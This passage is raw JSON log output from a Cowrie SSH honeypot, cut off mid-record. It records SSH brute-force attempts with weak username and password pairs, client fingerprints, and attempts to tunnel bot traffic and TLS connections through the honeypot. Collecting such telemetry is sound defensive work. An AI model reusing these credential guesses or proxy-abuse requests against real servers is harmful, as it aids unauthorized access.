{"eventid":"cowrie.session.closed","duration":"13.1","message":"Connection lost after 13.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:28.220838Z","src_ip":"91.92.40.36","session":"ca6b1f835328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59604,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fa04cbdebc1","protocol":"ssh","message":"New connection: 45.153.34.195:59604 (10.17.0.5:22) [session: 1fa04cbdebc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:28.403704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:28.416522Z","src_ip":"45.153.34.195","session":"1fa04cbdebc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:28.511809Z","src_ip":"45.153.34.195","session":"1fa04cbdebc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marketing","password":"123","message":"login attempt [marketing/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:28.823724Z","src_ip":"45.153.34.195","session":"1fa04cbdebc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:29.908847Z","src_ip":"45.153.34.195","session":"1fa04cbdebc1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:30.679134Z","session":"b6d217d3a977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"12345678","message":"login attempt [bot/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:30.923850Z","src_ip":"91.92.40.36","session":"fd0ddbc26fd8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:31.202847Z","src_ip":"123.27.168.40","session":"b6d217d3a977","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.2; Redmi Note 5A Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TkBZc2hBSVUqbk1KV2xzWg%3D%3DfTr%2ByH6QDOzsHxC%2Fn4sWvOhA9flt8LgNBxVTWuCMGc1DQJhFMD0mFv5%2BgviloR8JjzFopq1BGxVyZ9IfCdukK%2FHZs%2B%2F5xT1T3e4%2BzT2NVOQl2LZ0vuFlZX7RGAKEMWgX6FKXUqXKrewWcd8W5IqQq3tdXqQGFV9uQAKFyjUIO%2BL2S7JOOP1Ekh0ODMQEdTb9lNE7Z3aPOpWUj0ADkw3AaZe%2FfFg1trgdH4l5T0vxAaejS2IHfmQLttnvQ1q3jLKJcmvNUlXR3ztCYr9InU487sbuHUspICk%2FgJnetGqExOW6AXu9LRxH5kS8ot2GF7dvkhmHYHFyl%2BpXYVJvOkvJ2YuReXkUe0OmsTUCU17SaTN4MczrvKhpzHT108%2B9RbJJHwlNE4tcGVG4xEI6sxnR7YYDQgtMvQJYF0YZ%2BxMVAtG7WvPX4irQJu%2BAbQiXyuHNXyoBHJNzzV0RaArXhp15THYfh1Aem4ZrqF5la2N%2FZNAal6JNGr0P3pfNhdhy9iZ2W61yL5M6ZWCsrK%2FcJ1V8LHM49U7mXh1Vsd0bSDMJoFfu3J%2BUliZ0905JFH8XJ1Z7cKdn9boQUyK4rJX7GVdgdPByj9ClqfB6eN5k%2BS66mDTQ%2FAKy0MgGw3khFTWE8JXW6iCyYv4bTiiVFf%2FrdsXPNAjJJyct9Twl%2F6bXEa85OSd75QGXzqY494jYGWLYS0sAk%2BuEtQu%2Ba7SAeuPFNrRDlgME7DvfT7tvk9dWFqNftUBkt4nLNUrlkttEVhi%2B6K0h5%2FT2xTSDwyqXa7kFm0y0folt8VYwpfxCHxQe%2FpPk%2BXTU3jgZEYU5pqUqJzFCZb9%2BWcJh3DKXrxgutwIsCrHKeXR2TWic3wCsV%2BKJhOgONml8O%2B%2BIN25Z4%2BSJ9KgBZJw48TJnSdacnS%2BAv4lNp6y08B9ACylkgjhwRvWjkmBesIkLcpI%2FN18vY7px9T%2BGSW3omKzVx3MhYt3Wp1pPwLfVHw4UTxFg8m3Im3FclS5r7F17UECF9OpABa3zXJxMKWr8%2BWllR9PlWfN0jE60CiTheJtOAbgWXjQLgm9CCIw%2Bu56bDQ8lItssokZyS4tp5Pef'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.2; Redmi Note 5A Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TkBZc2hBSVUqbk1KV2xzWg%3D%3DfTr%2ByH6QDOzsHxC%2Fn4sWvOhA9flt8LgNBxVTWuCMGc1DQJhFMD0mFv5%2BgviloR8JjzFopq1BGxVyZ9IfCdukK%2FHZs%2B%2F5xT1T3e4%2BzT2NVOQl2LZ0vuFlZX7RGAKEMWgX6FKXUqXKrewWcd8W5IqQq3tdXqQGFV9uQAKFyjUIO%2BL2S7JOOP1Ekh0ODMQEdTb9lNE7Z3aPOpWUj0ADkw3AaZe%2FfFg1trgdH4l5T0vxAaejS2IHfmQLttnvQ1q3jLKJcmvNUlXR3ztCYr9InU487sbuHUspICk%2FgJnetGqExOW6AXu9LRxH5kS8ot2GF7dvkhmHYHFyl%2BpXYVJvOkvJ2YuReXkUe0OmsTUCU17SaTN4MczrvKhpzHT108%2B9RbJJHwlNE4tcGVG4xEI6sxnR7YYDQgtMvQJYF0YZ%2BxMVAtG7WvPX4irQJu%2BAbQiXyuHNXyoBHJNzzV0RaArXhp15THYfh1Aem4ZrqF5la2N%2FZNAal6JNGr0P3pfNhdhy9iZ2W61yL5M6ZWCsrK%2FcJ1V8LHM49U7mXh1Vsd0bSDMJoFfu3J%2BUliZ0905JFH8XJ1Z7cKdn9boQUyK4rJX7GVdgdPByj9ClqfB6eN5k%2BS66mDTQ%2FAKy0MgGw3khFTWE8JXW6iCyYv4bTiiVFf%2FrdsXPNAjJJyct9Twl%2F6bXEa85OSd75QGXzqY494jYGWLYS0sAk%2BuEtQu%2Ba7SAeuPFNrRDlgME7DvfT7tvk9dWFqNftUBkt4nLNUrlkttEVhi%2B6K0h5%2FT2xTSDwyqXa7kFm0y0folt8VYwpfxCHxQe%2FpPk%2BXTU3jgZEYU5pqUqJzFCZb9%2BWcJh3DKXrxgutwIsCrHKeXR2TWic3wCsV%2BKJhOgONml8O%2B%2BIN25Z4%2BSJ9KgBZJw48TJnSdacnS%2BAv4lNp6y08B9ACylkgjhwRvWjkmBesIkLcpI%2FN18vY7px9T%2BGSW3omKzVx3MhYt3Wp1pPwLfVHw4UTxFg8m3Im3FclS5r7F17UECF9OpABa3zXJxMKWr8%2BWllR9PlWfN0jE60CiTheJtOAbgWXjQLgm9CCIw%2Bu56bDQ8lItssokZyS4tp5Pef'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:31.206177Z","src_ip":"123.27.168.40","session":"b6d217d3a977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59624,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f88da23e165","protocol":"ssh","message":"New connection: 45.153.34.195:59624 (10.17.0.5:22) [session: 2f88da23e165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:31.344725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:31.349456Z","src_ip":"45.153.34.195","session":"2f88da23e165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:31.432968Z","src_ip":"45.153.34.195","session":"2f88da23e165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:31.689575Z","src_ip":"45.153.34.195","session":"2f88da23e165","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:32.620898Z","session":"b6d217d3a977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:32.670932Z","src_ip":"91.92.40.36","session":"fd0ddbc26fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:32.773443Z","src_ip":"45.153.34.195","session":"2f88da23e165","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:32.856775Z","src_ip":"123.27.168.40","session":"b6d217d3a977","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdd\\xb7\\xe6\\xb3\\xbc\\xff\\xbd\\x08LV\\xdc\\x01Qq\\x85e\\x1d\\x19\\xbf\\r\\xc4\\xb7 \\xdc\\x0b\\xce\\x88hLlk\\x07 \\x1f$y\\x90~\\x0e\\xfd89@\\xfcp:\\x96\"\\xaf.\\x7fV\\xbbK-\\x15\"\\x9b\\xa1\\x0cvt\\xf1\\xd7B\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe6\\xe4\\xe2?Af\\xa4\\x11- \\x16\\xff4\\xe8\\xc7\\xd44\\x10/\\x07\\xa6N\\xfah\\xa0\\x9e\\x98*u\\xa31;\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdd\\xb7\\xe6\\xb3\\xbc\\xff\\xbd\\x08LV\\xdc\\x01Qq\\x85e\\x1d\\x19\\xbf\\r\\xc4\\xb7 \\xdc\\x0b\\xce\\x88hLlk\\x07 \\x1f$y\\x90~\\x0e\\xfd89@\\xfcp:\\x96\"\\xaf.\\x7fV\\xbbK-\\x15\"\\x9b\\xa1\\x0cvt\\xf1\\xd7B\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe6\\xe4\\xe2?Af\\xa4\\x11- \\x16\\xff4\\xe8\\xc7\\xd44\\x10/\\x07\\xa6N\\xfah\\xa0\\x9e\\x98*u\\xa31;\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:32.860006Z","src_ip":"123.27.168.40","session":"b6d217d3a977","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:33.095520Z","session":"b6d217d3a977","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:33.330675Z","src_ip":"123.27.168.40","session":"b6d217d3a977","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03N\\xdbp\\x00T7KE\\x18\\xcfcV7\\x05K\\xf2\\xfbK9#\\xac\\xdb\\xff\\xb2Zu\\xb5\\t1\\x9f\\x8f\\xa8 b-\\xb9\\xfeks<u\\x92\\x05\\x9b\\xdf\\xe6\\xac\\x08\\xda4Ut\\x9dc\\xa2.X@\\x8dg\\xbc\\xabz\\x83\\xa8\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x14>H\\raE\\nj8N\\x01\\x9e\\x04\\xcf\\x10~*\\xf7\\xd7_\\x89GS\\xc4\\xd4\\x91\\x04`\\xbb\\xeb\\xbbJ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03N\\xdbp\\x00T7KE\\x18\\xcfcV7\\x05K\\xf2\\xfbK9#\\xac\\xdb\\xff\\xb2Zu\\xb5\\t1\\x9f\\x8f\\xa8 